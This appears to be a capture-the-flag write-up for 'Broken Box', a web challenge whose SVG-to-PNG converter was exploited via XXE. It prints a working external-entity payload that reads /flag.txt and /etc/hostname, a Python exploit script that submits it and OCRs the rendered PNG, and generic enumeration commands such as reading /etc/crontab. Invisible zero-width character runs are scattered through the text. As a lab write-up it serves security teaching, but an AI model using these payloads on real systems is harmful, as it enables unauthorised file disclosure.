← Back to Writeups
HTBN/AWeb

Broken Box

XESXOR8/23/20264 min read
#web#htb#n/a

Broken Box

Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-04 | Status: Solved Techniques: local_file_disclosure, ocr_validation, svg_entity_injection, xxe_file_read

Summary

Task: a Flask/Werkzeug SVG-to-PNG converter accepted raw XML and stored the rendered image at /static/data.png. Solution: exploit XXE in the SVG parser to load file:///flag.txt, render the file contents inside the generated PNG, and verify the result with repeated OCR after correcting an initial xmi/xml misread.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackerlab | ID: 20260404_hackerlab_slomannyy_yashchik
  • Tags: flask, file_read, werkzeug, ocr, xxe, svg, xml
  • Indicators: The application accepts raw SVG/XML in a textarea parameter named aboba, Server-side SVG rendering writes output to /static/data.png, A DOCTYPE with external entities is processed instead of stripped, The challenge explicitly reveals the local file path /flag.txt
  • Source: 20260404_hackerlab_slomannyy_yashchik.md

Foothold

Vulnerability / Misconfiguration

  1. Local_file_disclosure
  2. Ocr_validation
  3. Svg_entity_injection
  4. Xxe_file_read
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • local_file_disclosure
  • ocr_validation
  • svg_entity_injection
  • xxe_file_read
  • Tags: flask, file_read, werkzeug, ocr, xxe, svg, xml

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Original task name: «Сломанный ящик»

Target: http://62.173.140.174:16009/

The challenge provided a web service that converts SVG into PNG. The task hint was unusually direct: the flag was stored on the server at /flag.txt. That strongly suggested the goal was not normal application logic abuse, but server-side file disclosure through the conversion pipeline.

Analysis

The main page exposed a simple HTML form with a textarea named aboba that accepted raw SVG/XML and returned the rendered image at: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

/static/data.png

Initial probing showed:

  • Flask / Werkzeug in the response headers
  • user-controlled SVG submitted directly to the backend
  • the resulting PNG changed after each submission

Because SVG is XML, the most promising vector was XXE. If the converter parsed attacker-controlled DOCTYPE declarations and external entities, then local files could be embedded into the SVG and rendered into the output image.

Exploitation

The working payload defined an external entity pointing at the local flag file and then placed that entity inside an SVG <text> node: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180">
  <rect width="100%" height="100%" fill="white"/>
  <text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text>
</svg>

After submitting this SVG, the application expanded &xxe;, loaded /flag.txt, and rendered the file contents into /static/data.png.

Proof / Important Responses

1. Converter behavior

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The service accepted SVG input and rewrote the displayed image after each POST request.

2. XXE file read through SVG

Using a test entity such as file:///etc/hostname caused the hostname text to appear in the rendered PNG, confirming XXE.

3. Flag extraction

Replacing the hostname path with file:///flag.txt rendered the flag into the PNG.

Because the server returned only the image, the final text had to be read from the generated PNG. OCR worked, but the first pass misread xml as xmi. Re-rendering with a monospace font and repeating OCR confirmed the correct flag string. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Example Python exploit:

#!/usr/bin/env python3
import io

import pytesseract
import requests
from PIL import Image


URL = "http://62.173.140.174:16009/"

payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180">
  <rect width="100%" height="100%" fill="white"/>
  <text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text>
</svg>
"""


def main() -> None:
    session = requests.Session()
    session.post(URL, data={"aboba": payload}, timeout=10)
    image_data = session.get(URL + "static/data.png", timeout=10).content
    image = Image.open(io.BytesIO(image_data))
    text = pytesseract.image_to_string(
        image,
        config="--psm 7 -c tessedit_char_whitelist=CODEBY{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_",
    )
    print(text.strip())
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍


if __name__ == "__main__":
    main()

Expected output after the OCR re-check:

CODEBY{REDACTED}

Root Cause

The backend parsed attacker-controlled SVG/XML with external entities enabled. That allowed an XXE primitive using the file:// scheme, which disclosed local files from the server filesystem and rendered them into the exported PNG. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR